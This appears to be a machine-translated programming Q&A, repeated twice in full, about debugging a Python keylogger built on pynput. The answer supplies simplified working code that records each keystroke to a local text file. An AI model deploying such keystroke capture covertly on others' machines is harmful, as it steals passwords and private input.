运行 Python 个文件在命令提示符下部分工作?
Running Python files partially working in Command Prompt?
我正在尝试 运行 命令提示符中的按键记录程序
所有的打印功能都工作正常,但实际上不会将它们存储在我的 txt
文件中。
但真正让我感到困惑的是,每当我在 IDE、Pycharm 中 运行 它时,它都能正常工作。
这是我的代码:
from pynput.keyboard import Key, Listener
count = 1
keys = []
def on_press(key):
global keys, count
if key != "Key.shift pressed":
keys.append(key)
count += 1
print("{0} pressed".format(key))
if count >= 1:
count = 0
write_file(keys)
keys = []
def write_file(keys):
with open("key_log.txt", "a") as f:
for key in keys:
k = str(keys).replace("'", "")
if k.find("space") > 0:
f.write('\n')
elif k.find("Key") == -1:
f.write(k)
def on_release(key):
if key==Key.esc:
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
您的想法是正确的,但您不需要将所有的按键操作都收集到一个列表中。此外,您正在遍历列表,然后将列表视为一个大字符串。因此,您无需执行任何操作。
我建议将您的代码简化为更像这样的代码:
from pynput.keyboard import Key, Listener
import sys
def on_press(key):
print("{0} pressed".format(key))
write_file(key)
def write_file(key):
with open("key_log.txt", "a") as f:
if hasattr(key, "char"):
f.write('{0}'.format(key.char))
elif key == Key.enter:
f.write("\n")
elif key == Key.space:
f.write(" ")
with Listener(on_press=on_press, on_release=None) as listener:
try:
listener.join()
except:
with open("key_log.txt", "a") as f:
f.write("\n")
sys.exit()
在我的代码版本中,您记录了在 python 控制台中按下的键,然后将该键传递给 write_file 函数。从那里,该函数打开 key_log.txt 文件并检查是否向文件中写入任何内容。如果是则写入字符,如果不是则关闭文件
如果要停止进程,请键入 ctrl + C 以引发 KeyboardInterrupt 以停止进程。
我正在尝试 运行 命令提示符中的按键记录程序
所有的打印功能都工作正常,但实际上不会将它们存储在我的 txt
文件中。
但真正让我感到困惑的是,每当我在 IDE、Pycharm 中 运行 它时,它都能正常工作。
这是我的代码:
from pynput.keyboard import Key, Listener
count = 1
keys = []
def on_press(key):
global keys, count
if key != "Key.shift pressed":
keys.append(key)
count += 1
print("{0} pressed".format(key))
if count >= 1:
count = 0
write_file(keys)
keys = []
def write_file(keys):
with open("key_log.txt", "a") as f:
for key in keys:
k = str(keys).replace("'", "")
if k.find("space") > 0:
f.write('\n')
elif k.find("Key") == -1:
f.write(k)
def on_release(key):
if key==Key.esc:
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
您的想法是正确的,但您不需要将所有的按键操作都收集到一个列表中。此外,您正在遍历列表,然后将列表视为一个大字符串。因此,您无需执行任何操作。
我建议将您的代码简化为更像这样的代码:
from pynput.keyboard import Key, Listener
import sys
def on_press(key):
print("{0} pressed".format(key))
write_file(key)
def write_file(key):
with open("key_log.txt", "a") as f:
if hasattr(key, "char"):
f.write('{0}'.format(key.char))
elif key == Key.enter:
f.write("\n")
elif key == Key.space:
f.write(" ")
with Listener(on_press=on_press, on_release=None) as listener:
try:
listener.join()
except:
with open("key_log.txt", "a") as f:
f.write("\n")
sys.exit()
在我的代码版本中,您记录了在 python 控制台中按下的键,然后将该键传递给 write_file 函数。从那里,该函数打开 key_log.txt 文件并检查是否向文件中写入任何内容。如果是则写入字符,如果不是则关闭文件
如果要停止进程,请键入 ctrl + C 以引发 KeyboardInterrupt 以停止进程。